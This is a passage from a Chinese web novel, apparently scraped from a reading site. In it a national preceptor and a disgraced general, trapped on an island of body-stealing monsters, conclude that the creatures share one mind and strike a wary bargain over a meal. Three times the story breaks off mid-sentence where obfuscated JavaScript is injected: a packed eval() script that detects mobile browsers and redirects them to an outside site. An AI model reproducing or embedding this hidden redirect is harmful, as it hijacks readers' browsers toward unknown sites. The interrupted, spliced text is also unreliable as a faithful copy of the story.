但这只是诱人的陷阱,让你错乱的迷雾,就像是无比美丽的外表下藏着毒素的花,就像主动露出弱点的野兽,引人不住走近的泥沼。而直到临死前一刻,你才会恍然大悟,自己不过是他用来铺路的石子,又或者,仅仅只是无聊时用来打趣的消遣。 如同那些曾被派去边境的监军,先前踏进岛中心的那近百人。 这是一个危险的疯子。一个随时会爆发的隐患。 而比这更让人无力的是,言生没有任何方法去应付这疯子。她没办法带着国师转头离开,回到皇城把这烫手的山芋交给别人,也没办法提刀把眼前这个人给杀了。她们就像那些曾被困在军营里的监军一样,手足无措,忧愁不已,被动地等待着一次又一次的折磨。 却只能沉声问道:“……你到底想做什么?” 檀妄生瞧着言生一副警惕的模样,觉得有意思,笑起来道:“大人以为我会做什么?把船上的所有人都杀了,然后再把国师关在这座岛上?” 言生道:“你——” “虽然不知道大人把我想成了什么样的怪物,不过大人放心,就算借我十个胆子,我也不敢对国师做什么。”檀妄生稍侧过身,“现在已经正午了,总不能让国师醒来后就这么饿着肚子吧?” 萧明灿看向桌上那两双木筷。檀妄生朝房门示意,说:“那边也把大人的饭准备好了,就等大人前去了。” 言生知道这罪臣并不打算离开,但此刻她还在想着那侍卫的遭遇,毕竟那喃喃的呓语声很难让人忽视,说不定檀妄生真的就是那场屠杀的罪魁祸首。可既然已经知道这个侍卫设法想要向外人告知真相,为何还要留他一命? 真的是因为他爱冒险的古怪癖好吗? 也许是因为想要以此威胁国师。 她看着檀妄生手上沾着的血迹,又想到了在山洞时见到国师的样子,下意识上前一步,想要阻止什么,但……眼下她们被困在这岛中心,就算阻止,又能阻止到哪儿去呢? 她最终什么也没说,只是不放心地看向萧明灿,请示道:“国师……” 萧明灿倒是神色安和,似乎完全没被刚从那关于皇上和太傅的阴谋猜测所干扰,“……我正好还有些事要和将军商议,你先带他离开吧。还有,” 她看向言生眼下那一圈泛青的痕迹,轻拍了拍她紧握刀柄的胳膊,“这两日你也没怎么休息吧?好好睡一觉,有什么事等你休息好再说。” 言生犹豫片刻,意识到自己的确有些冒进,松开了握刀的手,对国师行了一礼,便扶着那侍卫踉跄离开了。 檀妄生看着房门关上,屋内再次重归寂静,他有些乏味地揉了揉耳朵,“……这让我想起了之前护送小公主去寺里祈福的时候了,当时那些和尚就这么围在屋子里一直念经,听得我都快睡着了。” 萧明灿拉开椅子,看向桌上正中央那碗排骨汤,顿了顿,接着看了眼檀妄生手上的血,不知为何,忽然想起了在山洞时,他那句半开玩笑似的话。 檀妄生坐在旁边的椅子上,像是猜到了她的想法,夹了一块肉放到她碗里,说:“国师知道吗?如何从一具尸体里选择最适合食用的部分,就像在面对对手时,如何能更快地让对方丧失抬刀的力气一样。” 说着他微微一笑,“所以,在我看来,做饭和上战场一样需要认真下功夫。” 萧明灿没有动筷,心平气和地说:“我有时候真的很怀疑,将军到底是不是已经成了外面那种怪物。” “很难说,”檀妄生手肘搭在桌上,懒洋洋地撑着下巴,看向萧明灿,“毕竟我的脸实在太重要了,即便是半痴半傻的怪物也应该知道该如何珍视它。虽然我没有砸毁这张脸,但说不定身上会有其他伤口。” 萧明灿完全没有去脱他衣裳检查伤口的打算, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14946223|157334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 默默地把自己的饭碗和檀妄生的调转了一下,接着去夹旁边的素炒白菜。 檀妄生笑了起来,“国师忘了吗?当初皇上曾允诺我三个请求,其中两个便是十只鸡和四头猪。” 萧明灿当然记得。那是檀妄生以查明营啸真相为由主动提出的请求,当初她本以为檀妄生会提出黄金万两或是赦免檀家之类的荒唐要求,但结果……因为这要求太过微不足道,以至萧明灿几乎都快忘了。 萧明灿实话实说:“我以为它们早就已经被那些怪物吃了。” “它们对我很重要。”檀妄生正经地说,“我一想到一辈子都要靠吃水煮萝卜和青菜活着,就觉得痛苦万分,对未来的日子绝望到简直超乎想象。所以,我把它们安置在了岛中心正中央,加固了周围的棚屋,甚至有时会亲力亲为给它们做饭吃。三年过去了,它们如今的数量已经比当初多了三倍。” 萧明灿又往自己碗里夹了些青菜。 檀妄生似乎想到了什么,说:“……这么说来,某种程度上来看,这也算是在保护我的道德良知了。” 萧明灿抬眼瞧着他,右耳玄色耳坠随着动作微微晃动。 檀妄生将两人的碗重新换回来,微笑道:“毕竟,如果它们死了,那被做成肉汤的可就另有其人了。” 他仍旧撑着脸颊,指尖漫不经心地摸着碗面。阳光顺着微开的窗口铺散,在他灰黑色的瞳孔上映出耀眼的亮光。 萧明灿夹菜的手微微一顿,目光缓缓落在他颈前那道横向割痕上,问:“……那艘船是怎么回事?” 檀妄生有些意外,“我还以为国师不会问我这个问题呢。” 萧明灿吃了口菜,平和地说:“将军故意在那个节骨眼上把我打昏,不就是想让我亲自来求助将军吗?” “虽然我很享受这种被国师需要的感觉,”檀妄生说:“但国师真的冤枉我了。那种人吃人,还是熟人吃熟人的惨剧,国师就算内心再强大,看了也会有阴影的。而且国师那时的状态已经是在强撑了,比起看一场血肉飞溅却无法阻止的悲剧,倒不如闭上眼好好休息一下。” 他看起来简直诚意十足。但萧明灿知道,他那些最有诚意的话,往往是最拙劣的谎言。 檀妄生接着说:“它们喜欢捡一些看起来对活人大有帮助的东西回去,比如那些火铳,比如那艘小木船。而那时已经深夜,雨也快停了,所以,等它们久违地饱餐一顿后,就会划着船回到自己的巢穴。” 萧明灿说:“但船可带不进它们的藏身处,除非是海上洞穴。” “但可以停在巢穴的附近。”檀妄生夹起一块肉,说:“这样一来,等到天亮,趁着船还没被海浪冲走,我们可以根据木船来推测出巢穴的位置,然后除掉它们。” 饭菜的香气在屋子里弥漫。 “……看来,将军也在观察它们,就像那些官员一样。” 沉默片刻后,萧明灿说,“但和那些官员不同的是,将军在用别人的命从怪物那里得到情报。” 30. 动机 岛中心之所以安全,是因为这里是个罕见的湖心岛。 顾名思义,这里并不算大,四面皆被湖水环绕,离对岸距离最短的西北处各由一条木桥连接。因为是通往外界的唯一途径,所以木桥周围,甚至是桥上都会设置各种陷阱。 而这间屋子就建在岛中心的最高处。顺着窗口往外看,恰好能看到半个岛中心。 这里曾发生过一场动乱,或者远不止一场。那栋被烧毁的房屋就在一片院落之间,一半屋子已经化为灰烬,另一半墙壁上还残留着大雨也无法洗刷掉的血渍,焦黑的屋檐斜砸而下,看起来就像是警示用的石碑,既突兀又悚然。 而此刻,她就坐在圆桌旁,和檀妄生一起望着那些被日光铺照的瓦砾。两人坐在同一边,中间相隔了近一张椅子,这个距离对于陌生人来说有些刻意,对于爱人来说又不够亲密,这让萧明灿想到了那个雨夜。 他们用一天时间经历了追杀,逃跑,针锋相对,最后一起从断崖坠入海中。他们浑身湿透,伤痕累累,然后坐在火堆旁,望着外面的雨幕。在生死过后的疲惫里,尖叫声和海浪声渐渐变得不再那么值得在意,就像房间里烧着木炭的暖炉。 萧明灿听着檀妄生用最平常的语气说出那些触目惊心的话。而她始终看着无边无际的黑暗,试图在那里找出他刻意隐藏的目的。 “……试验。” 正如此刻,萧明灿看着桌对面的窗外,轻声说:“比起将军所说的游戏,这更像是一场试验。” 檀妄生轻轻放下木筷,似乎非常期待她接下来的话。 “将军的确一直在亲身参与这场‘游戏’,甚至为此扮演过很多身份。”萧明灿说,“在登岛时把官员当猎物射杀的疯子,尽心尽力解答疑问、在危机时刻出现的救赎者,一个劝说旁人不要以身涉险、又可以在他们不顾劝阻发疯的关键时刻,让出火铳来帮忙的好人。” 她望着那片尤为显目的废墟,如同在二楼栏杆边望着下方的戏台。而檀妄生则看着她。 “但无论是疯子还是好心人,将军其实从未真正深入到这场‘游戏’当中,或者说,将军只是充当了这场‘游戏’的旁观者而已,从不干涉任何人的选择,以此来记录那些‘游玩者’的行为和结局,作为某种值得一提的线索,用来创造下一场游戏。就像上一批登岛的官员那样。” 萧明灿的声音总有一种让人感到平和的从容感,似乎很难从她身上看到类似于忧心或愤怒的情绪,亦或是像言生和官员们那样带有敌意的戒备。 “将军之所以告诉他们关于岛中心的规则,是因为将军已经知道如果不遵守‘规则’会带来怎样的后果,这或许就是上一批官员,又或是将军的部下在伤亡后留下的线索。将军不会再让第二批登岛的人重蹈覆辙,因为这样的话,他们的死亡将变得毫无意义。” 远处的石路上,随从们正搬运着几盆刚做好的饭菜。岛中心一片宁静。 “在得知‘规则’后,他们开始观察那些怪物,然后在不知后果的情况下做出不同的行动,又为选择错误而付出惨痛的‘教训’。尽管他们或许至死都不知道到底哪里出了问题。” 萧明灿说:“于是,将军知道了它们近来的学习速度远比活人更快,也许是因为它们的‘队伍’正不断壮大的原因,而恰巧它们又能够以某种方式进行交流。这让你发现了它们对于狰狞的伤口并没有那么执着,真正的目的是为了彻底融入人群,从而取代活人。” 说到这,她沉吟似的停顿了片刻,接着看向檀妄生,“既然将军比他们更早就知道这座岛上的‘规则’,应该也早就意识到有怪物混进了岛中心。” “……起初只是怀疑而已。” 檀妄生拿起茶壶,倒了杯茶,坦然讲:“我在岛上和那群怪物打交道了三年,比任何人都要了解它们,简直就像家人一样‘亲密’。虽然这群怪物在尽心尽力地去模仿我们,但仍不免会露出一些破绽,比如在某次喝酒时,他会盯着封紧的酒塞发呆,直到看见旁人如何用刀挑开木塞,才开始缓慢行动。” 他把茶轻轻推到萧明灿面前,说:“我对这种细微的反常尤为敏感。而恰巧,我运气比较好,意外发现了这一点。但也只发现了一个人而已。” “但将军并没有杀了他。”萧明灿看着微微荡漾的茶面,说:“因为将军想要知道关于那怪物的更多线索,它们为了取代活人可以做到什么程度,除了制造可怖诡异的场面引人恐慌之外,它们是否还会想出更复杂的招数,从而让将军更了解该如何对付它们。” 她想了想,又说:“或者,是利用它们。” 檀妄生单手撑着下把,和被拆穿后该表现出的杀意截然不同,他只是目光轻松地看着她,“国师觉得会是哪一种呢?” “很难说。”萧明灿点了点茶杯,思索了片刻,“也许二者都有。” 檀妄生笑了起来,却没有回答,而是望向窗外,道:“我的确没有立刻杀了他,但也派了人在暗中监视他。不过,虽然他一天接触过很多人,但都只是简短的一两句交谈,那么多人混在一起,很难分辨到底哪个才是他的同类。而且,直到那场屠杀发生后我才发现,他其实一次都没在那些官员出事前接近过所谓的同类。” 而这就意味着,那四个藏在岛中心的怪物,除了觅食的那一夜,自始至终都没有和对方商讨过关于“屠杀”的策略,难道是它们在进岛之前就商议过这些吗? 但那四个官员都是在不同时间不同地点失踪的,这就说明如果它们的“诞生之日”完全不同。那么它们是如何谋划出这么一场计划的?又是如何计划好在某一天以同一个官员为猎物,一起和他出岛的? 萧明灿想到了言生此前推测过的“鬼神”之说。 难道它们真的是…… 檀妄生夹起青菜,继续说:“很快,岛中心发生了那个关于如何分辨怪物的传言。大家探查怪物的进度开始停滞,或者说陷入了某种僵局,有一些人开始疑神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14958426|157334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疑鬼,整日躲在屋子里闭门不出。” 萧明灿顺着檀妄生的话想了想,缓缓点头,说:“如果继续下去的话,他们只会一点一点被流言营造出的恐惧所蚕食,成为那些怪物的一员,就像一个接一个被埋在槐树下的尸体,不再具有任何值得细究的价值。所以,将军必须阻止局势走向失控。” 檀妄生觉得这话很有意思,笑着看了她一眼,“国师知道吗?这感觉就像是在调查一桩谜云重重的命案,随着日子的推移,命案里的惨状逐渐演化成了各种各样的流言和推测,如果放任不管,就会出现更大的恐慌。而这座岛上,最怕的就是恐慌。所以,我必须尽快找出凶手。” 说到这,他顿了一下,感兴趣地道:“……这么想来,按国师的话来说,我甚至还扮演过锦衣卫这种身份呢。” 萧明灿轻轻一哂,说:“还是个查案失败的锦衣卫。” “……有句话怎么说来着,没有功劳也有苦劳。在他们眼里,我真的在尽心尽力去调查这件事。” 檀妄生道,“我起先调查了那个侍卫,毕竟那是让局势走向失控的关键,但毫无收获。那个侍卫是正常的,而与他吵架的人是怪物,那么其他害死官员的怪物在哪里?当时目睹吵架的有将近二十个人,我们一一调查,试图找出他们的疑点,但计划总是赶不上变化。” 萧明灿了然,“钱鸣死了。” 檀妄生略感遗憾地耸耸肩,“接下来发生的事国师也都知道了。我打算当着那几个官员的面确认那个怪物,然后杀了它,接着再派人去解决另外三个。可没想到……” 他说:“国师知道吗?我活了二十四年,从没见过这么巧的事,就在那个怪物脑袋落地不到半刻钟的功夫里,岛上就突然起了火。” 萧明灿抬眼望向窗外。 这意味着什么? 一场荒唐的巧合? 因为那是个雨夜,所以怪物的最终计划就正好定在了那一天? 但为何偏偏是那一天呢? 那段时间经常下雨,这是官员们一开始被就被困在岛中心的原因之一。甚至就在屠杀爆发前一天也淅淅沥沥下了场小雨,而那时岛中心已经人心惶惶,它们完全可以选择在那一天引发混乱。 但为何偏偏是…… 萧明灿将茶一饮而尽。 这不是巧合。 ……在不同时间不同地方夺取身体的怪物、一个堪称缜密却从来都不需要见面商议就能完成的狩猎计划、在其中一个同类死后不到半刻钟的时间内就实行下一步计划的怪物—— 檀妄生看着那双专注的眼睛,“看来国师猜到了什么。” “……所以我说,这更像是一场‘试验’。” 萧明灿慢慢放下茶盏,似乎有些无奈,看向檀妄生,接着说:“将军用一场屠杀,换来了那些怪物即便不需要面对面,或是任何书信言语,就能够相互交流的线索。” 她说:“所有的怪物,都是一个整体。” 31. 族群 换而言之,它们能够共享得到的所有情报。 这就像是官员们在各自收集关于怪物的真相和弱点,然后每天晚上都会分享和探讨这些线索一样。但与之不同的一点是,它们并不需要面对面,更不需要付诸任何言语,就能得知彼此知晓的一切。就仿佛它们在共用一个脑子一样。 哪怕它们的“诞生之日”并不相同。 这听起来简直荒诞至极。 而正是这一荒诞至极的线索,不仅解释了屠杀之前那些种种怪异的巧合,还恰巧解释了萧明灿在登岛后不久,遇到的第一个疑问。 那些怪物明明在下雨后才出现,可为什么能在发现他们短短不到两刻钟的时间里,就想到了在必经之路上用火铳把她和檀妄生逼到断崖处,同时又设下陷阱,让言生他们落入包围的计划呢? 因为有“人”一直在盯着他们的一举一动。 或者说,当有一“人”看到了他们,剩下所有“人”就会立刻知道他们的行踪。 就像在那场屠杀爆发之前,当檀妄生杀了其中一个怪物时,另外三个人会立刻用几场大火制造出混乱一样。 而这也就引出了另一个结论,这些看似缜密的行动,也许未必是一场计划。 那个怪物在临死之前,看到了檀妄生将几个和它同样可疑的官员带进屋内。在他让他们脱下衣服检查伤口时,让它们意识到了檀妄生很有可能已经知道了它们的身份。而当它人头落地的那一瞬间,其他怪物立刻就确信了这一推测,这得益于同类接连死亡时让它们明白的“教训”。 于是,它们开始制造混乱,利用它们在活人那里所学到的手段,来借此摆脱困境。 “它们远比我们所想的更难对付。” 檀妄生继续给萧明灿夹着排骨,道: “它们会窥视我们的每一个举动,言语间每一个表情,然后模仿我们,再以此对付我们……有意思的是,我们家老头子大半辈子都在战场上打打杀杀,只信手里的刀,不信鬼神怪论,他说那些都是用来安慰人和吓唬人的把戏。如果他还活着的话,看到我突然这么说,一定会以为我疯了,但我还是很想说。” 萧明灿听着他的话:“明明它们在诞生之前没有任何实质的肉|身,却仿佛一直在身边盯着我们一样,就像是个耍弄人的鬼魂,然后耐心等待着我们因恐慌而陷入绝望,再伺机营造幻觉,夺走我们的身体。” 但鬼魂可不会像战争或瘟疫一样想要覆灭所有活人。 檀妄生似乎又想到了什么,说:“不过,这也有点像话本子里所说的那种排队投胎。” 萧明灿看了眼碗里快要堆成小山的排骨,自己先前夹来的一点青菜早已被埋得不知所踪。那骨肉还带着和萝卜玉米一起炖出来的鲜香气,肉质泛着淡粉,散着一小缕热气。如果他们没有在此之前讨论过人肉和屠杀话题的话,她应该会很有食欲。 “……又或者是一场孕育。” 萧明灿低声说道。而檀妄生则充满新奇地瞧着她。 “恐惧和一次又一次的绝望,拉近了它与生者的距离,成为了它们得以制造幻觉的契机。”她说,“而在人们幻觉出现的这几天里,从最初误以为是休息不足引起的幻象,到逐渐确定那个幻象是清晰真实的存在,再到幻觉彻底崩塌,最后走向惨烈的死亡。这是一个过程。” 她望着窗外,双眼在阳光的映照下闪耀着明亮而温和的光芒。 “而同时,怪物也从虚无的幻觉中‘挣脱’出来,继承了生者的部分记忆与身体,成为了他。” 檀妄生想着萧明灿的话,意犹未尽地道:“它们越来越像人了。” 这正是一个让人倍感惊骇的时刻。 它们一直在模仿、学习,很难确定它们到底“诞生”了多久。或许比五年前那场“渔村瘟疫”更早。它们变得越来越像人了,但人却只能眼睁睁地看着,它们在不知不觉之中渗透到自己身边的人群里,几乎没有什么应对之法。 因为生者对它们毫无了解。 战争有目的,瘟疫有病因,而鬼魂之说在各种话本和经文当中有着数以千计的记载,无论是起源,来历,种类,又或是驱鬼辟邪之法。即便经文没有,也能在民间流传的古籍里找到一二线索。但这群怪物却和那些鬼神之论里的记载没有半分相似之处。 而当意识到这一怪物的存在时,感觉就像突然得知了自己的死期——你身边也许有一个怪物一直在无形之中兴致勃勃地观察着你,跟在你身边,等待着占领你的身体,你的记忆,你的一切。也许它们不会盯上你,但仍不免会感到些毛骨悚然,就像在深夜点着蜡烛看了一本鬼故事。而当你出现恐惧之类的情绪时,就要小心了。 因为那是迈向死亡的第一步。 可是,难道真的没有任何应对之法吗? 也许有。能够共享情报对它们来说是模仿和观察活人最重要的“手段”。而这同时也流露出了一个破绽。 这些怪物虽然可以共享情报,但最初那些游荡在荒村里的村民却完全没有攻击她和檀妄生的想法,只是在直勾勾地盯着他们。如果它们当初像其他怪物一样围堵他们,他们未必会那么顺利地离开荒村。而这就说明,那些村民也许并不能做出比茫然盯着看更复杂的动作。 为什么? 难道是因为它们没有得到那些共享的“记忆”?因为身体伤势太过严重,又或是受脑中记忆影响? 萧明灿想起了那个小女孩中刀后的尖叫声。 当小女孩发出渗人的尖叫后,那些村民才开始摇摇晃晃地走出屋子。而当影将军砍断了那已变成怪物的部下的脑袋时,村民则突然表现出了发狂的攻击性——那么,是否能以此来推测,尖叫和同伴的死亡对它们来说相当于某个信号? 而这说不定也就证明了,那些村民的确没有任何共享情报的“能力”。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14971230|157334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……能力。 萧明灿稍稍放下木筷,想了想。假设把它们看作是一个“整体”,类似于狼群,鹿群,又或是世间一个未知而古老的“族群”。那么如果把“村民”算作族群中的最低阶,把潜进船上和岛中心的那些能够简短交流的“人”算作更高一阶的话,有没有可能,还会有更强大的怪物在引领它们? 但这仅仅只是推测而已。 重要的是眼下该如何验证这些推测。 答案显而易见—— “将军利用那些官员和侍卫来验证自己的推测,即便这是迫不得已的无奈之举,宫里也绝不可能会容忍将军滥杀无辜。”萧明灿说:“将军早就已经是一介罪臣了,如今若是再犯下恶行,恐怕真的会因此牵连到镇北王府……” 她把目光投向檀妄生,“就不怕我告密吗?” “……这个嘛,”檀妄生慢慢点了点头,“说实话,的确有些担心。但……国师之所以来到这里,不正是因为先前登岛的近百人皆毫无音讯吗?” 他看着萧明灿的脸,微笑起来,“岛上凶险万分,局势瞬息万变,虽然我觉得那些人远不如国师聪明,但难保不会成为下一个官员。” “五天。”萧明灿平和地说:“在登岛之前,我交代过那些人,如果我五天没有回到船上,他们就会立刻往皇城送信。如果皇城十五日没收到任何消息,到时候登岛的可就不再只是官员了。” 隐约交谈声从远处传来。几道身影正陆陆续续走出屋子,在空旷处聚集。那几人手里各个拿着盆碗,排队等着什么,后面看热闹似的几人则捧着一坛酒,兄弟似的勾肩闲聊打趣。阳光将瓦片映出暖金色的光点。更远处的山林间静谧无声。 这地方看起来就像是有人在此安居乐业的世外桃源。 然后,萧明灿补充道:“今天已经是第四天了。” 外面那些嘈杂的交谈声如同雨点般落在一片寂静中。檀妄生就这么静静地看着她。但这绝对算不上是剑拔弩张,毕竟他的眼底依然保留着那种坦然的笑意。萧明灿看着那淡黑的瞳仁在阳光的照耀下微微缩放,像是慵懒的猫,又像是因为某种欲望而跃跃腾升的火苗。 “……看来我们都拿彼此没办法。” 片刻后,檀妄生真诚地说:“所以,我们来做个交易吧。” 萧明灿等着他的话。 “我需要国师来帮助我对付那些怪物。”檀妄生说:“作为回报,我会给国师提供任何国师想要的帮助。保护性命,提供情报,处理私仇……” 他看了眼桌上几个菜碟,停顿了下,时间多到足够让萧明灿以为他要说出什么轻浮话,但他最终只是微笑道:“又或是亲自做饭,只要国师开口。” 萧明灿看着眼前小山高的排骨,沉思了会儿,说:“直到找到解决怪物的方法为止?” 檀妄生看向窗外,“直到我们其中一个永远地留在这座岛上为止。” 32. 俘虏 一如被埋葬在雨夜波涛下的尸体和船只残骸,眼前那几处被午后阳光铺散的山林里,也隐藏着数以百计的行尸走肉。 这正是这座海岛的本质。它就像是一只庞大的野兽尸体,它独自蜷缩在远离陆地的边缘里,冰冷而又死气沉沉。但有时,它也会给人一种只是在熟睡的错觉,因为它看起来是那么的宁静与平和,就如同此时此刻。而每一个登岛之人都是剥开它的刽子手。 那才是它的真相或“精髓”所在,如同埋藏在泥土深处的宝藏,鲜血肉泥下掩埋着关于那些怪物的种种线索,以及那些被刻意伪装的目的。这其中不乏会有同伴的尸体,他们和那些怪物的残骸混在一起,变成了另一种模糊的线索,就像指引宝藏的路标,又或是引人迷失的陷阱。 而登岛之人能做的就只有继续剥开那些狰狞又惊骇的血肉,无论它是否融进了同伴的断臂残肢。去辨别那些线索,找出真正的真相。 重要的是,你要不断剥开它。 这场交易亦是如此—— 当然,他们的确需要找到对付怪物的方法,这是岛上每个人的首要目的。 但这个难题真的让影将军备受困扰吗? 或许是这样。毕竟檀妄生来到这座岛的最初目的就是弄清当年营啸的真相。如今来看,那些怪物很有可能是导致当年营啸爆发的关键,而只有足够了解那些谜题一样的怪物,才能彻底查清营啸的始末。作为一个手下因为自相残杀而全军覆没的罪人,他应该比任何人都想要弄清楚这件事才对。 但事实上,就如他所表现出的那样,他并没有那么迫切地想要知道真相。至少,他并没有迫切到要把这些关于怪物的消息传给皇城,向宫中求助。 为什么? 也许他不想让皇城那么快就知道消息,或者说,他不想让这些关于怪物的消息从他这里传出去。因为正如萧明灿方才所说的那样,宫里当然不可能会容忍一个不顾律法、“设计陷害”近百名官吏的疯子活着。 但他能瞒得了多久? 营啸爆发后不久,皇上就曾根据影将军那些零散的罪供,暗中派人去寻找些更具体的细节。但结果并不如人意。 大概是受了那些“灭国前兆”流言影响的缘故,那些人如堕烟海般地寻找了一年多,陆陆续续呈上来的东西不是关于神鬼怪异的古籍残页,就是一些巫毒秘术的器具。他们担心皇上因此动怒,最终放弃鬼神之谈,结合了影将军平日作风,一致认为是影将军本人疯了。皇上没再在深查下去,也并不这么认为。 而如今,皇城已经开始有怪物渗透,皇上虽不清楚“怪物”的存在,但也能隐约猜到岛上并没有所想的那么“风平浪静”。 皇上暂且可以相信那两批押送的队伍是因为某种意外而失踪,不过再一再二没有再三,如果岛上一直没有任何消息,哪怕皇上放弃影将军这个花费三年时间埋下的棋子,也不可能任由他在这里当“土皇帝”。 所以,他“请”了国师来帮他解决这个难题。 “国师可以向宫里传递任何消息。那群怪物,与怪物脱不开关系的‘渔村瘟疫’,那两批先后登岛的官员们,那场雨夜惨剧,甚至是我在这其中都做了些什么。” 檀妄生缓缓倒了杯茶,声音听起来总有一种慵懒的随和。萧明灿静静看着他,铺满杂草的土地、食材香料、冰冷的血、还有火铳里的火药味,在鲜香的肉味下隐隐飘荡。她看着他袖口被血染深的痕迹,思索着彼此真正的目的到底要由多少个半真半假的谎言来掩盖。 而他此刻依旧表现得足够真诚:“我不会有任何的阻拦。” 影将军的确不会阻拦。萧明灿完全可以把这座岛上的一切告诉皇上,无论是岛上的屠杀,还是檀妄生的恶行,她大可以让皇上派人踏平这里,除掉檀妄生,然后利用手里得到的线索,和宫里人商讨出应对怪物的对策。 但问题是,影将军真的犯下什么杀害官员的恶行了吗? 他自始至终都没有与那些官员发生过争吵,也许他们之间的确有过微妙的紧张时刻,但如今知情者都已经死了。重要的是,他没有诱导他们接近怪物,更没有提刀杀了官员,就如他所表现的那样,他只是个同样被怪物困在岛中心的受害者,一个目睹惨剧发生的幸存者,一个会劝他们小心行事的“改邪归正”的好人。 而那些“利用官员的性命来取得线索”的结论都只出自他人之口,他只是耐心听着,就像是个接受一切批评的孩子,但却从来没有亲口承认过。 他知道没有任何人有证据能证明这一点,就连国师也不能。 不过,尽管如此,萧明灿仍可以把这个“推论”告诉皇上,在一介顽劣不堪的罪臣和尽心尽力效忠君王的国师之间,皇上很容易做出选择。 但事实上,这并非那么简单。 萧明灿首先要说清楚这群怪物的存在和骇人之处,这个如同古老族群般的“怪物”是如何狩猎活人、折磨他们,又是如何利用恐惧与绝望使人癫狂,最后又同化他们。而当这些怪物和先前近百人失踪联系起来时,那些指控檀妄生的说辞就少了太多的可信度—— 也许是怪物吞噬了他们,就如同那场营啸一样。也许这只是国师的推测,就像皇上曾派去调查营啸真相的那些人,最终根据一些算不上完整的线索,作出并不可信的结论那样。 当然,国师绝不会欺骗皇上……但是,那些狰狞的怪物或许让国师感到了错乱。用檀妄生的话来说就是:“这是情有可原的事情。每个人都会在紧迫的处境下做出一些失误的判断。” 况且,这不是孩子选边站的游戏。它关乎到了城中数十万人的性命,边境的战局,甚至是整个江山。檀妄生则是最了解那些怪物的人,眼下那些怪物或许已经开始在皇城里大肆狩猎,皇上绝不可能会单单因此而除掉檀妄生。 但檀妄生却可以“顺理成章”地除掉国师。 毕竟那些怪物危险至极,一座百户渔岛在短短一个月内成为名副其实的“鬼村”,一场营啸的爆发险些 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但她不可能会瞒下怪物的存在。因为这么做酿成的后果无异于让她成为和檀妄生一样的叛国罪人,一个纵容和包庇罪臣的共犯。 所以,当她向皇城传递消息那一刻起,几乎就等同于把性命主动交给了檀妄生。 短暂的沉默后,萧明灿轻轻叹息一声,“……将军知道吗,我来到这里的本意只是想带将军离开这座岛。” “那真是太遗憾了。”檀妄生看着她,那眼神真挚到仿佛真的在对此感到抱歉,“这座岛上就是一座斗兽场,只有猎物和猎人之分,国师只能选择扮演其一。” 萧明灿不置可否,“看起来将军真的很喜欢狩猎游戏。” 檀妄生想了想,仿佛在回忆着曾在边境军营里的那些日子,而后点了点头,赞同道:“毕竟,‘追逐’是我一生当中最擅长的事。” 萧明灿说:“如果将军没有做过那些事情的话,这将会是个鼓舞人心的故事。” 檀妄生笑了起来,接着道:“……不过,接下来的事情该如何进展,完全取决于国师。如果国师没有把那些事情告诉皇上,我们就是一条船上的人了。” “这条船早晚会葬进海底。”萧明灿缓缓地说,“我宁可和将军玩那种狩猎游戏。尽管,那所谓的猎物听起来更像是俘虏。” “……俘虏,”檀妄生觉得这个词很新奇,“国师知道被抓回军营里的俘虏会是什么的下场吗?如果敌方军营没有赎回他们的打算,这些人最终的下场就会被变卖为任人宰割的奴隶,或是就地坑杀。” “那么,”萧明灿抬眼,“将军想让我做什么?” 檀妄生与她目光相对,他的头微微偏过,依旧带着那点散漫又吊儿郎当的感觉。一瞬间,没有浓云遮挡的日光照进屋内,他的眼底腾升起一种如同猎犬嗅到浑浊血迹般的微妙的兴奋。 接着,他朝萧明灿面前那碗饭稍一偏头,露出微笑。 “吃了它。” 33. 灾祸 “它们不止要吃掉他们。”言生说道。 ——她们站在哨塔上,周围火盆的光芒足以照亮旁边那座吊桥,木桥正中央放置了四排尖木制成的横栏,而尽头则被浑浊的黑暗缠裹。言生就站在萧明灿后方,抱着剑,望向对面那片雾气环绕的山林。 “……属下是说,它们把那些被杀死的人全都拖进了藏身的洞穴里,仿佛在囤积什么粮食一样。” 她道:“影将军带人找到了那艘木船附近的洞穴后,发现那里面全都是人骨,密密麻麻堆积在角落,就像柴火一样。那骨头上的肉都被剔光……不,都被啃食得干干净净,甚至连留在那里腐烂的机会都没有。后来,他们发现,那个洞穴里全都是十来岁的孩子,它们正像野兽一样围在一起吃着那一夜小木船上的人。” 她说着,有些担忧地看向国师。 而萧明灿正站在木栏边,披着狐裘,目光望向湖面上被火把映出的光点,喃喃着说:“……那场屠杀也是如此。仅仅一夜之间,它们就把大部分尸体拖到了藏身之处。我们先前对此只以为它们是在储存食物,毕竟对它们来说,岛上几乎没有任何能果腹的东西。” 